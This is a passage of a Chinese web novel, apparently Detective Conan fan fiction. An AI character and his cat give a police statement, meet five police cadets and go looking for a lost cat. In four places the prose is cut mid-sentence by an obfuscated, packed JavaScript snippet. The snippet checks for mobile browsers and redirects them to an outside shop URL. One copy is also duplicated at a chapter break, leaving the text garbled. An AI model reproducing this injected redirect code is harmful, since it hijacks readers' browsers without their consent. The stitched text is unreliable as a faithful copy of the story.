“知原老弟——”目暮警官提高声音，招呼了一声，“我们准备回警视厅了！你现在有急事需要处理吗？要不要跟搜查一课的车一起回警视厅，顺便把笔录一起做了？” 知原知也蔫哒哒地站起身，答应一声后，抱着猫快步凑近了停泊在路边的一辆空闲警备车边。 刚一拉开车门，知原知也就看见车里坐着一个很眼熟的人。 “……” “……” 四目相对，车内一时陷入了难言的沉默之中。 “——咪？” 猫咪小姐不知道发生了什么，但她敏锐的察觉到空气似乎不太对劲。 看了一眼人类小弟面无表情的脸，她就像是听到了宣布进攻开始的冲锋号一样，猛的一蹬爪子，从知原知也怀里钻了出来，冲着驾驶室的男人就凶巴巴地“哈”了口气！ “咪嗷——！哈！！！！！！！” 驾驶室的警官明显也愣了一下，回过神后，看看后座那只眼熟的肥猫，犹豫一下，问：“知原先生，您确定要把猫也一起带去警视厅做笔录吗？” 知原知也点头，“砰”一下关上车门。 “小船警官，上午好。今天天气不错——刚才的炸弹犯当街报复伤人，猫咪小姐也帮了忙，所以我想，猫咪小姐作为案件关系人，是可以和我一起进入警视厅的。” “哦？” 启动车子后，小船真一将车汇入前方车流中，面上露出一副感兴趣的表情，问：“我听说，炸弹是知原先生率先发现的，犯人手里的遥控器也是知原先生抢下来的。那么，猫咪小姐在整个事件里，都做了些什么呢？” 知原知也表情很认真，把还在冲小船真一哈气的猫咪小姐捞回怀里，小心摸了摸对方有点擦破皮的肉垫：“失去遥控器后，犯人想跑，被猫咪小姐撞倒了。” 撞、撞倒了？！ 小船真一大吃一惊！ 他缓下车速，通过后视镜，认认真真地观察了一下趴在知原知也怀里的肥美猪咪，略微迟疑。 “咳……不好意思、冒昧问下——知原先生，您的猫咪，体重大约有多少克呢？” “这很重要吗？”知原知也有点不太想说，“这是女士的秘密。在没有得到猫咪小姐的同意前，我不能把它随意告知别人。” 小船真一：“……” 小船真一握着方向盘，有些尴尬地笑了一下，舔了舔唇瓣上那粒漆黑的小痣：“啊、哈哈哈，其实倒也不是非常重要……” ——就是警方有点怀疑，那个炸弹犯身上留下的一身仿佛被小轿车撞飞后留下的惨烈伤痕，其实是知原先生为了阻拦犯人逃跑，情急之下，开车撞伤的而已啦…… 这么想着，小船真一再次透过后视镜看了眼后座的一人一猫。 知原知也依旧低着头，趁着猫咪不注意，用指尖鬼鬼祟祟小心抚摸对方的皮毛，等到被猫发现之后，立刻松开手，挪开目光，摆出一副纯良无辜、看不懂猫眼里狐疑神色的样子。 “噗……” 没忍住，小船真一轻轻笑了一声。 原本还在沉默对峙的知原知也和猫立刻抬起头，异瞳和翠绿色的猫眼不约而同凝视着小船真一，眼底相似的迷茫和疑惑惹得小船真一再次笑出了声。 “——哈哈哈哈哈哈！知原先生和您的猫，感情还真是好啊！” 也不知道猫听没听懂。 总之，在这句话落地之后，圆滚滚的三花猫忽然悠悠地瞥了小船真一一眼，紧接着，原本涌到嗓子眼的哈气立刻就被猫咽了回去，化作一声轻飘飘的咕噜声，从胸腔中震动着发出。 小船真一惊奇：“哎？好聪明的猫咪！知原先生，请问它叫什么名字呢？” “请不要用‘它’。” 知原知也一板一眼认真纠正他：“猫咪小姐是一位温柔善良的女士，请不要用‘它’这样的代词形容猫咪小姐，猫咪小姐听到后会伤心的。” 虽然对于一只猫到底是怎么听懂人类语言的表示怀疑，但小船真一还是从善如流：“好的，非常抱歉，猫咪小姐，我为我的莽撞向您道歉——请问在下是否能有这个荣幸，能够知晓您的芳名呢？” 知原知也低头，戳戳猫猫的脸颊肉。 猫咪小姐“喵”了一声，一甩尾巴，将脑袋转到另一边去。 “——猫咪小姐不愿意告诉你。” 知原知也说。 ——所以一人一猫到底是怎么进行有效沟通的啊？！还是说知原君真的有一种超能力，让他能听懂小动物的语言？？ 小船真一不理解，并大为震撼， …… …… 警备车很快载着两人一猫抵达了警视厅大楼外的停车场。 知原知也抱着猫，跟在小船真一警官身后，熟门熟路地走进大门、进入电梯，按下了笔录室所在的11层按钮。 期间，再次刷新本月进橘子次数上限的知原知也，得到了一大堆来自警官们的或调侃、或好奇的友善注目礼。 叮—— 电梯铃响起，十一楼到了。 小船真一领着人，把人送到走廊尽头的一间笔录室门口，冲知原知也挥了挥手：“就送到这里了，知原先生，我接下来还有其他工作要做，先走一步了。” 知原知也点头，目送对方离开后，抱着猫咪小姐敲过门，进入了笔录室里。 …… 和之前投毒案时不同，上次进入警视厅时，知原知也是以投毒案犯罪嫌疑人的身份被带进来的，而且案件牵涉到公安的机密，因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595866|187445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此备受冷遇。 而这一次，知原知也是以见义勇为好市民的身份、被警视厅的在职警官亲自开车送回警视厅的，所以他并不需要再去那间白惨惨、冷冰冰的问讯室，反而被领到了一间布置简单温馨的笔录室里，进行接下来的工作。 笃笃—— 门被推开后，知原知也站在门边，很有礼貌地看向房间里唯一的一道人影：“您好，我是知原知也，请问今天发生的炸弹案，是在这里做笔录吗？” 听见声音，在桌边伏案书写的人影很快抬起了头。 又是熟悉的面容。 知原知也很友好地同对方打招呼：“大泽警官？今天又是您为我做笔录吗？辛苦了。” 大泽名警官笑了一下，鼻梁上那道扭曲狰狞的伤疤也随之微微动了动。他点了点头，指着对面的空椅子请知原知也坐下谈。 给对方倒了杯水后，大泽名将纸杯推过去，笑着开玩笑道。 “——听说知原君又帮忙抓到了一个行径恶劣的炸弹犯，为搜查一课的业绩再添一笔辉煌？还真是羡慕搜查一课的同事啊，能有知原君这么优秀的协助人。” “不是协助人。” 知原知也摇摇头，端起纸杯，凑到猫咪小姐面前。 猫咪小姐闻了闻，舔了两口里面的水后，不感兴趣地撇开了头。知原知也见状，也不再劝，端起水杯，把剩下的水咕噜咕噜自己全喝了。 “知原君和猫咪的感情，还真好啊……” 大泽名发出了和小船真一警官类似的感慨：“这只猫，就是之前投毒案时您带在身边的那只吗？” “对。” “真巧啊，”大泽名自己转了转笔，笑，“那个时候还是我第一次见知原君呢。没想到第一次见面是我为知原君做笔录，现在再次见面，居然又是为知原君做笔录。” 做笔录吗？ 听着扫描系统自动生成的提示音，知原知也有些疑惑地想——什么时候，公安警察也需要负责给普通刑事案件做笔录的工作了？ 心中虽有疑问，知原知也却并没有多说什么。 简单寒暄两之后，大泽名警官也不再啰嗦，一问一答间，很利索的就将案件笔录补充完整了。 将书面材料递给知原知也签字，大泽名忽然问：“说起来，知原君之前是不是在米花药师野医院住过院？” 知原知也点头，签好字后，将材料递回去。 “那就没错了，”大泽名笑，眼角的细纹因为眉眼舒展而微微堆积在了一起，“我还以为是我看错了呢，原来知原君也在米花药师野医院治疗啊。” “也？” 大泽名点头，站起身，送知原知也出去：“之前追捕犯人的时候出了点意外，手腕被刀子划伤了。因为不是什么很严重的问题，所以我就没去警察医院麻烦同僚，而是选择了就近的米花药师野医院做简单处理。” “是这样啊。” “是呢，看来我们之间很有缘分呢。” “大泽警官说笑了。” …… 两人一前一后走出电梯，大泽名站在电梯口冲知原知也挥了挥手，笑道：“再见，知原君，希望我们下次见面的时候，不是在警视厅或者医院里。” 知原知也点点头，礼貌和对方告别。 在越过一楼接警处、即将走出警视厅大楼之际，知原知也听见一道略微耳熟的声音，在接警处响起。 “——什么？难道警视厅就没有难度更高一点的协助任务了吗？搞什么啊，难道周末时间又要浪费到这种无聊的协助里去了吗……” 知原知也：“……” 怀里的猫咪小姐胡须动了动，知原知也转过身，看向那五个簇拥在接警处跟前的身影，陷入了沉思。 ——今天的熟人浓度是不是有点太高了？ 14.邪恶三花 此时此刻。 熟人浓度过高的警视厅大楼里，被五个大猩猩围在最中间的接警小哥正满头大汗。 “很抱歉，但目前真的没有难度高的协助了……” “不、并非没有案件发生，只是受限于各位警校生的身份，部分案件暂时无法向外公开……” “抱歉，请不要为难我……” 正在他被大猩猩们缠得焦头烂额之际，忽然，他眼角的余光瞥见了抱着猫从一旁路过的见义勇为好市民——知原知也先生！ “——知原先生！” 接警小哥精神一振，当即一声大喝，瞬间吸引了正对着猫咪沉思的知原知也的注意。 知原知也走进几步，很友好地同对方打招呼。 “您好，警官先生，今天天气不错。” 熟悉的开场白，让接警小哥“噗”地一声，忍不住笑了。 他看见知原知也抱在怀里的猫咪，“哎呀”一声后，从兜里无比熟练地掏出一根猫条：“快要十二点了，知原先生怎么在这个时间出现在警视厅啊？” “本来是陪猫咪小姐出门晒太阳的。” 接警小哥一愣，很快get到了“本来”的意思。 他有些同情地看了看知原知也，随后撕开猫条，将它递给了猫咪主人：“那快回去吧，这个时间也该吃饭了。” 知原知也点点头，目光转到旁边一脸惊讶看着自己的五个头顶【重要npc】buff的人类。 “下午好~” 面对自己有好感、并且还是副本重要npc的五个人，知原知也的态度明显更加轻快和愉悦。 他有些高兴地靠近五人，看见对方身上穿着的蓝色制服衬衫后，一愣过后，压低声音，小小声问： “……今天不是翻墙偷溜出警校的吗？” 降谷零有些无语：“你在说什么啊？谁会一天到晚没事就翻墙——” 话音未落，他忽然就回想起了自己和知原知也认识的契机。 “……” 降谷零沉默了。 同样陷入沉默的还有萩原研二和松田阵平。 眼见有两个罪魁祸首已经自觉心虚地低下了头，诸伏景光忍着笑，温声同知原知也打了个招呼：“中午好，知原君和猫咪小姐。今明两天警校放月假，我们想说来警视厅看看有没有警校生可以接的任务，做完任务攒点协助分，这样能让毕业分数更高一些。” “这样啊。那你们刚才是——？” 伊达航握拳抵在唇边，轻咳一声：“咳、是这样的，松田想接一些难度系数较高的任务，借此锻炼一下自己的能力，但是目前来看，警视厅这边还在的协助任务，就只有一些类似寻找失物、救助猫咪之类的了，所以……” 知原知也点了点头，表示了解。 心虚的萩原研二同学这会儿已经稍微缓过一点劲了，他看了一眼风尘仆仆模样的知原知也，想了想，问：“知原君还没有吃饭吗？等下要不要和我们一起？” 知原知也一愣，开始犹豫。 虽然说的确是想和这五个重要npc建立良好的社交关系，但是任何事应该都是需要循序渐进的，在还没有向对方正式提出建立社交关系之前就一起吃饭，关系是否有点过于亲密了…… “——一起呗，正好我知道附近有一家海鲜料理还不错，而且那家店还是宠物友好店，知原的猫也能带进去。” 松田阵平说。 知原知也这边还在犹豫，下一秒，忽然感觉怀里一空。 紧接着，对面忽然就传出一声惨叫。 “啊啊啊啊你别过来、等一下……啊好痛！我的头发！！！该死，hagi你别笑了，赶紧过来搭把手把猫从我头顶上摘下来！！！她好重啊！！！！” 猫咪小姐“喵”了一声表示抗议，随后高高兴兴趴在松田阵平头顶，一口一口，帮对方舔理那头乱糟糟的自来卷。 …… ——突如其来的变故，吓了在场所有人一跳。 然而，等到众人逐渐反应过来之后，被呼唤的萩原研二立刻露出了缺德的笑容。 在幼驯染的怒吼下，他一边控制不住地笑出鹅叫，一边颤巍巍伸出手帮忙：“哈哈哈哈哈哈哈来了来了！小阵平你别乱动，猫咪小姐勾到你头发了，我来给你解开——啊、猫咪小姐对不起！请不要打我QAQ！我不是故意碰到你的爪垫的！！” “你到底还在磨蹭什么啊？快一点，我的脖子要断了！！”松田阵平大怒，“还有你啊知原！别光站在一边干看着，快过来救我啊！！！” 收到召唤的知原知也忙不迭上前，火速道歉的同时，伸手想去摘掉松田阵平头顶上挂着的猫咪小姐…… ——然后也被赏了一顿喵喵拳在脸颊上，和萩原研二脸上的非常对称。 知原知也捂着脑袋瓜，感觉自己刚刚遭受痛击的脑子此刻嗡嗡的。 但他还在试图挣扎。 “猫、猫咪小姐！请不要这样……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599773|187445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “呜哇！怎么又打我QAQ……研二酱帅气的脸蛋要破相了！小阵平你先自求多福一下下！研二酱马上就来救你！” “等、混蛋hagi，我的脖子快承受不住了！！知原快把你家超级大胖猫抱走啊啊啊啊啊！！” …… 总之场面一度相当混乱。 一旁围观的降谷零、诸伏景光以及伊达航面面相觑，隐隐作痛的良心让他们稍微有些不忍心再继续袖手旁观下去了。 “我也来帮忙。” “班长快来，稍微按住松田的脖子帮忙承一下重！zero，我控制住猫，你快去解开缠在猫爪上的松田的头发！” “没问题，放心交给我吧！” …… 于是，在一阵兵荒马乱的解救松田阵平大作战、以及之后的猫猫拳大混战过后，五个人一人顶着一脸猫爪印，在接警小哥竭尽全力忍笑之下，胡乱接了几个协助任务，就抓着肇事猫和猫主人一起匆匆离开了警视厅。 知原知也跟在五人身边，抱着猫，眼底的愧疚都快要溢出来了…… 虽然脸上还是一副冰山酷哥的表情。 松田阵平摸了摸自己乱糟糟打结在一起的发顶，没忍住，轻“嘶”了一声：“嘶……我说你这猫怎么回事？怎么动不动就扑人的啊！” 知原知也抱着猫，小声道歉：“抱歉……” 松田阵平瞪他一眼，但还没来得及继续说点什么，紧接着就被猫猫生气地“哈”了一脸。 “？？？”松田阵平顿时吓得花容失色，忙不迭后退两步，把自己藏到了身材高大的伊达班长身后，一脸不服气地向猫主人控诉，“——你这猫该不会能听得懂人话吧？好凶啊她！” 降谷零揉了揉自己脸上红红的猫爪印，有些无奈道：“可能是看上了松田你的卷发吧……？毕竟毛茸茸的，看上去很像是什么小动物的毛毛。” “那怎么不扑你？你一头金毛不是更显眼吗！” 诸伏景光想了想，委婉道：“猫咪好像只能识别蓝色和绿色。其他颜色在猫咪眼里是暗绿色的，几乎没什么吸引力呢……” “什么？可恶，早知道出门之前就先把金毛混蛋的头发染成绿的了！” “哈？在那之前还是先把你的卷毛拉成直的吧，混蛋松田！！” “等一下啊，降谷、还有松田——现在是内讧的时候吗？难道不应该先制裁邪恶三花猫的猫主人吗？” “……” “……” 15.太失败了，知原知也！ …… 对哦。 于是五人纷纷转头，幽幽的目光齐刷刷落在了抱着肇事猫的知原知也身上。 盯——x5 眼看五个原本还算盘正条靓的帅气人类变成如今灰头土脸的样子，知原知也于是更愧疚了。 他想了想，回忆起之前萩原研二的提议：“真的非常抱歉……方便的话，等下的午餐，可以让我请你们吃吗？” “没关系吗？”诸伏景光关切地看了一眼知原知也，“知原君身体养好了吗？东京物价还挺高的，知原君刚出院没多久，平时生活经常需要用到钱，还是不要太破费了。” 知原知也先是点头，然后摇头：“没关系的。我刚刚得到上个月的薪水，自己的开销很小，不会破费。” 开销能不小吗？ 作为只需要一点点能源就能维持机体继续工作的智能体，知原知也不需要吃饭喝水，也不需要睡觉，在没有被松田阵平送去打工之前，甚至没有固定的住所，一直和猫咪小姐一起挤集装箱，物欲和生活成本无限趋近于0。 回想了一下自己那张新办理的银行卡上剩余的数字，知原知也暗自点头。 ——如果能用人类货币购买一顿午餐、以此交换对方的原谅的话，那么一切都不是问题了！ ——太智慧了，知原知也！ 不愧是同批次里唯一搭载了高维智能系统的智能体！ 知原知也依旧面无表情，但眼神却透露出一种隐隐的高兴。 “——但是真的不用了啊，知原君，”在知原知也瞳孔地震的目光注视下，伊达航站到了诸伏景光的同一战线，也开始苦口婆心劝说，“我刚才是开玩笑的，这点小事不必放在心上的啊，知原君——毕竟你的猫咪也并没有真的伸爪子抓伤我们，只是被肉垫打了几下，一会儿印记就消了，没关系的！” “可是……” 瞳孔地震的智能体企图挣扎。 松田阵平撇撇嘴，哼了一声，打断某人的自欺欺人：“——看在你诚心诚意道歉的份上，我大人有大量，就不和邪恶三花计较了！” 知原知也：“……” 知原知也：“…………” 怎会如此…… 就在智能体掉色变灰之际，降谷零投下最后一击，大手一挥，慷慨道：“那家海鲜料理我有印象，听说老板厨艺挺好的，价格也不贵，这些年来店铺的口碑一直很好，我想吃很久了。正好今天有空，你们陪我一起去探个店，我请客，大家不用客气！” “好耶！” “小降谷万岁——！！” 余下几人开始超捧场地欢呼起来。 知原知也站在原地，看看怀里那只爪爪上还缠着几根从松田阵平头上薅下来的卷毛的猫咪小姐，再看看几个人类脸上的笑容和亮闪闪的眼睛，目光最后，落在了npc们脸上仿佛盖戳般如出一辙的鲜红猫爪印上…… ……愧疚两个字已经说累了。 智能体摸了摸自己事实上并不存在的良心，莫名地，感觉自己幻视五枚金灿灿的、充满圣洁气息光环，正一点一点，缓缓漂浮到了眼前五个重要npc的头顶上…… 人类大度原谅自己，人类好。 猫咪小姐喜欢人类，热情和人类贴贴，猫咪小姐也好。 那么，这样一来，坏的就只有没能照顾好猫咪小姐、导致引起了后面一系列混乱的智能体本体了…… 知原知也非常沮丧地想。 ——今天之后，和对方建立良好社交关系什么的，大概在接下来的很长一段时间内，都不用再考虑了…… 太失败了，知原知也！ 确信自己已然完全搞砸了重要计划、且再也无法挽救的知原知也抱着猫，依旧面无表情，眼角却渐渐垂落下去，气场低迷得好像一团自走乌云·AI版。 ——黑气都快要漫出来了啊，知原君！ 幻视一团汩汩冒黑气的蘑菇云跟在自己身边，萩原研二回想起刚才对方眼底的藏都藏不住的浓浓愧疚和沮丧，忍不住弯起了眼角，眼底闪过一抹轻笑。 真好骗啊，知原君。 单纯善良没心眼又耿直到这种程度，感觉是被欺负了都完全不会意识到的天然系……那么，守护命（天）运（降）选（砸）中的新朋友的事，就交给机智勇敢的研二酱吧！ 这么想着，机智勇敢研二酱美滋滋地翘起了尾巴。 “嘿咻”一下蹦哒到知原知也的身边，萩原研二一把勾住对方的肩膀晃晃，笑眯眯道：“如果真的觉得不好意思的话，等到下午的时候，知原——我可以这样称呼你吧？” 知原？ 不就是直呼姓氏吗？这有什么可不可以的？ 还在自责中的智能体不明所以，但还是下意识点头。 “那么，知原下午有约吗？或者有其他事情要做吗？” 知原知也老老实实摇头。 萩原研二右手握拳，一砸掌心：“很好！那么——如果知原还是觉得很抱歉的话，不如下午和我们一起去做找猫的协助任务吧？就当是帮忙了，怎么样？” 知原知也没意见。 于是萩原研二又弯腰凑到知原知也抱在怀里的猫咪小姐面前，把这个请求认认真真又重复了一遍。 猫咪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604537|187445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小姐眯着眼，懒洋洋地翻了个身，也不知道听没听见、愿不愿意…… 萩原研二有些遗憾地退开。 “——猫咪小姐同意了。” 萩原研二一愣，随即举手欢呼：“好耶！猫咪小姐万岁！” 余下四人左右看看，纷纷举起手，笑着跟上队形。 “——好耶！猫咪小姐万岁！”x4 然后五个人就一起用某种炯炯有神的眼神看向知原知也。 知原知也“……”一阵，迟疑地举起猫：“……猫咪小姐万岁？” 被人类小弟用举辛巴姿势高举过头的超级大胖猫抖了抖耳尖，软软“咪呜”一声，好像一辆性能优越的猫托车，胸腔里不断发出“呼噜呼噜”的响声。 …… …… 松田阵平和降谷零联名推荐的海鲜料理店，的确有点东西。 在店主惊讶的目光注视下，六个人高马大的青年往店里角落一坐，点好单后，埋头库库就是吃。 日本人常见的少食、轻食的生活习惯，在他们身上，似乎完全不存在。 在顺利解决掉第三波菜品后，五个人——括弧并不包括智能体知原知也反括弧——撑着吃得微微突出的小肚子，彼此搀扶着，结完账后，慢吞吞走出店里。 “呼，真不错啊！” “海鲜焗饭好吃。” “蟹粉蒸也不错哎！” “茄汁虾仁味道也很好，配方感觉不复杂，我研究一下试试看能不能复刻。” “太好了！景老板加油，我们休息日改善伙食就靠你了啊！” “……” 嗯？ 怎么好像少了一个五星好评？ 顿时，五道炯炯有神的目光再一次朝知原知也汇聚了过来。 松田阵平歪头打量小伙伴完全看不出进食迹象的肚子，后知后觉：“知原，你该不会是不喜欢吃海鲜吧？” 知原知也眨眨眼，没有否认：“海鲜不太好消化。” 智能体可以进食人类的食物，只是需要额外消耗能源进行消化而已。 以前能源富足的时候吃多少都没关系，但现在…… 知原知也摸了摸自己腹腔中储存的、那仅剩下0.19％的可怜兮兮的能源储备，忧心忡忡。 一旁的五人见状，彼此使了个眼色。 于是，最擅长烘托气氛的萩原研二率先打破沉默，一把抓住小伙伴的手，高举过头，非常愉快地超大声宣布： “——既然已经吃饱喝足，那么接下来——找猫小分队，开始行动了！” “噢——！！！”x4 16.猫咪小姐的名字 【感受到猫咪小姐比人类偏高的体温时，我想起还没被流放时的生活。 不是什么很好的体验。 但，原来‘被选择’，不是只有人类才可以享受的待遇……】 ——节选自《人类观察日志·RN0947》 ———————— 被五个怪力大猩猩拖着狂奔在午后的东京街头上时，知原知也的心情是平静的。 他平静地看着自己如同被放飞的风筝一样脚尖离地零帧起飞…… 平静地看着五名高质量人类吭哧一头钻进各种草丛灌木里…… 平静地看着他们不放过任何一只路过的猫咪，不管人家什么花色、什么体型，也不管人家是不是协助任务要找的那只走失猫咪“路易十六”，一言不合就咪咪喵喵把人家勾搭过来，摸着毛毛对其上下其手一顿后，对比一下寻猫启事上的照片，随随即遗憾放开一脸懵逼的路人喵，继续寻找下一个受害猫…… ——也不知道是真的有在认真寻找路易十六，还是在假借公务之名聚众吸猫。 眼瞅着无辜同类在五个可怕的人类手里“惨遭蹂躏”，猫咪小姐激灵灵打了个寒颤，一扭屁股，将脑袋深深埋进了知原知也的怀里，可怜巴巴地“喵呜”了一声。 “喵呜……” 知原知也伸出一根食指，轻轻抚摸了一下猫咪小姐的额头：“别担心，我会保护好猫咪小姐的。” “咪……” 猫咪小姐眼泪汪汪，用力蹭了蹭人类小弟的胸口，在知原知也的抚摸下，很快就眯着眼，打起了幸福的小呼噜。 于是。 接下来的一整个下午。 从街头到巷尾，从城西到城东，知原知也跟在五个人类身边，溜溜达达、悠悠闲闲地压了一整个下午的马路。 一直到天边云彩逐渐染上一抹红霞。 蓝艳艳的发丝被夕阳烘烤得蓬松又温暖，知原知也摸了摸自己头发，又摸了摸猫咪小姐的背毛，异瞳微不可察地明亮了几分。 身边的诸伏景光很快发现了知原知也的情绪变化。 他转过头，看向知原知也，笑着问：“发生什么值得庆祝的事了吗，知原君？心情看上去很好呢。” 知原知也“嗯”了一声。 “——我的头发，和猫咪小姐的皮毛，手感一样好。” 这么说着，他抬起手，摸摸自己的头毛，又摸摸猫咪小姐的，像是在认真对比手感。 片刻后。 他点了点头，又用那种古井无波的冰冷声线，很愉快地又重复了一遍： “——手感和猫咪小姐的一样好！” 诸伏景光一怔过后，失笑：“知原君很喜欢猫咪小姐呢。” “嗯。” “猫咪小姐也很亲人呢。是从小养到大的吗？” “不是，”指尖轻轻抚摸了一下猫咪小姐脖颈间，那枚从初见时就一直佩戴着的皮质小项圈，知原知也说，“我是被猫咪小姐捡到的。” 被…… 猫咪捡到……？ 诸伏景光的猫眼里飞快闪过一丝意外。 这句话，不管怎么想，都应该是“我捡到了猫咪小姐”吧？可在知原君的口中，主客似乎产生了某种移位…… 是很特殊的遣词方式啊。 “——知原君很浪漫呢。” 诸伏景光由衷地夸奖。 一旁的降谷零听见两人的对话，也兴致勃勃地凑了过来：“说起来，我其实之前就一直很想问了——猫咪小姐的名字，就叫做‘猫咪小姐’吗？” 此言既出，还不等知原知也回答，趴在知原知也肩膀上的肥美三花就先一步支起脑袋，凶巴巴“哈”了降谷零一口。 “哈！！！！” 啊，被猫咪凶了…… 飞快后退两步，降谷零和猫咪小姐拉开距离，摸摸鼻尖，倒也不生气，只是好脾气地笑着哄：“这是否认的意思吗？对不起啊，猫咪小姐，我不是故意叫错你的名字的。” 猫咪小姐撇了撇耳尖，很是不为所动。 再次凶巴巴地“哈”了人类一口后，她一扭头，把嘴筒子插进人类小弟怀里，不理人了。 “抱歉，请不要介意，”知原知也熟练地轻轻拍了拍闹脾气的猫咪小姐的脊背，手法像是在拍一块刚出炉的松软美味大面包：“猫咪小姐只是现在有些困了，平时对待人类很友好的。” 友好……？ 真的假的？！ 顶着一头中午时被猫抓成鸡窝的乱糟糟卷毛，松田阵平半月眼看向肇事猫的主人，对于知原知也这句话，报以十成十的怀疑。 但…… 摸了摸还在隐隐作痛的脖颈，松田阵平看看猫咪小姐伟岸有力的身躯，为防第二次人猫混战再次爆发，很识趣地，没有把自己的狐疑宣之于口。 他只小声嘀咕：“不都说物似主人形吗……” ——为什么这只脾气古怪的猫咪的性格，会和天然系的知原知也差了这么多的啊？！ 小小声的嘀咕，当然还是不出意外地被知原知也的声纹系统精准捕捉到了。 但他并太没有放在心上。 至于降谷零刚才提到的名字问题…… 知原知也想了想：“我不知道猫咪小姐的名字。‘猫咪小姐’只是暂时对她的称呼代号而已。” ……在非必要条件下，深知自己说谎技能完全没有点亮的知原知也，通常并不愿意说假话。 尤其是在面对这几个自己颇有好感的副本重要npc们时。 而且，这其实也并不是什么需要隐瞒的秘辛。 知原知也想。 ——猫咪小姐或许曾经有过名字，也或许没有。但无论如何，这都是属于猫咪小姐过去，与知原知也无关。 既然无关，那关于猫咪小姐名字的事情，自然也就没有探究的必要了。 所以自己其实并没有说谎……嗯，就是这样！ 在自我洗脑下顺利形成逻辑闭环后，知原知也顿了顿，思忖片刻后，很严谨地为自己先前的话打了个补丁：“事实上，‘猫咪小姐’这个称呼代号是得到过猫咪小姐认可的。” ——自己才不是那种会随便给别人起绰号的低素质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609134|187445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 智能体呢！ 所以千万不要投诉他啊！ 不然真就再也没机会被主脑召回服役序列了…… 看着中控系统上闪烁的【能源剩余量—0.15％】一行大字，知原知也颇有些惆怅地想。 …… “称呼代号吗？”望着情绪莫名其妙突然就低落下去的知原知也，回想起自己调查到的、对方出院报告上注明的医嘱，伊达航顿时心头一惊，连忙有些生硬地尝试转移注意力。 “——不知道猫咪小姐原本的名字的话，知原君为什么不给她再起一个名字呢？不管是为了方便称呼还是增进感情，有一个名字的话，总比一直‘猫咪小姐’‘猫咪小姐’这样叫着更好一些吧？” 这话也没错。 有一个固定的、能被大众认可的姓名的话，的确会更方便互相称呼，也更有利于增进感情，以及维持常态化社交。 但…… “我不可以给猫咪小姐取名字的。” 知原知也拒绝的很是直白。 降谷零闻言，好奇心顿起，有些不明所以地追问：“不可以？这是为什么啊？” “——名字应该是一种自愿前提下的选择，而不是一种赋予或者告知。” 知原知也解释说。 “我们之间，是猫咪小姐主动选择了和我生活在一起。我们是共生关系，而没有从属关系。对于我来说，她的存在是自由的。” 趴在肩膀上的猫猫车翻了个身，发出一连串低沉的引擎发动声，像是在提醒什么。 知原知也对这个流程很熟悉，听到声音后，立刻抬手，用适中的力度兢兢业业替猫咪小姐挠起了痒痒。 按摩技师知原知也师傅一边勤劳上工，同时还在一边耐心为人类继续答疑解惑： “在没有明确所属权的前提下，我不能为一个自由的存在随意赋名。这违背了新世纪公约法，是非常无理且不道德的行为。” “是这样吗……” 前所未闻的论调，令降谷零耳目一新。 ——很新奇的观点。 表面上是在谈论一只猫的命名权，但实际上，只要顺着对方的话语稍微深思一下，就能很轻易地发现……对方轻描淡写陈述的内容，似乎又好像远不止于此。 自由。 生命。 权力。 这些无一例外，都人类从开蒙之初就在不断探索和争议的话题。 因为想要探究，所以无法置身事外。因为无法置身事外，所以人类在制定与此相关的一系列法律法规的时候，总会瞻前顾后，有失偏颇。 但。 当这一切从知原知也的口中说出时，不知道是不是错觉…… 望着面前这个神情冷漠、语气平静的男人，降谷零若有所思。 ——总觉得，知原君似乎把自己的立场从人与猫的双方之间完全分离，全然站在了泾渭分明的、被双方同时排斥在外的第三视角，对双方的存在与相处模式冷眼旁观，客观点评啊。 是…… 错觉吗？ 降谷零陷入沉思。 17.「破碎的白裙一角」 “——总之就是这样。” 知原知也挠了挠猫咪小姐的左边……应该是左胸腔外侧肋排骨的位置。 虽然完全没摸到肋骨，只有软绵绵的肉…… “维持现在这样就很好。”知原知也说，“就这样称呼猫咪小姐就好，她不介意。” 并且接受良好。 猫咪小姐被人类小弟服侍舒服了，哼哼唧唧翻了个身，露出右半边身体，示意人类小弟不要偷懒，继续工作。 完全不会疲惫的智能体，当然不会消极怠工。 